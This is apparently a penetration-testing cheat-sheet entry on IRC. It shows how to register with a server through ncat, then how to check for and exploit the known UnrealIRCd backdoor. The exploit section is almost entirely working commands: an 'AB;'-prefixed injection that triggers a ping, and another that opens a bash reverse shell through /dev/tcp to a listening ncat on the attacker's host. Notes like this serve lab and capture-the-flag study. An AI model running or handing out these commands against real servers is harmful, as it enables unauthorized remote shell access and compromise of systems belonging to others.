IRC

Internet Relay Chat is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model.

-- Wikipedia

Authenticate

ncat <ip> <port>

PASS <anyPassword>
NICK <anyNickname>
USER <anyNickname> <anyServerName> AndComment :<anyComment>

Backdoor in Unreal IRC

A backdoor in UnrealIRCd LWN.net

Listen for icmp message

tcpdump -i tun0 icmp

Check if backdoor works

echo "AB; ping -c 1 <own-ip> | nc <target-ip> <port>

Exploit it

ncat -lnvp <port>
echo "AB; bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'" | ncat <target-ip> <port>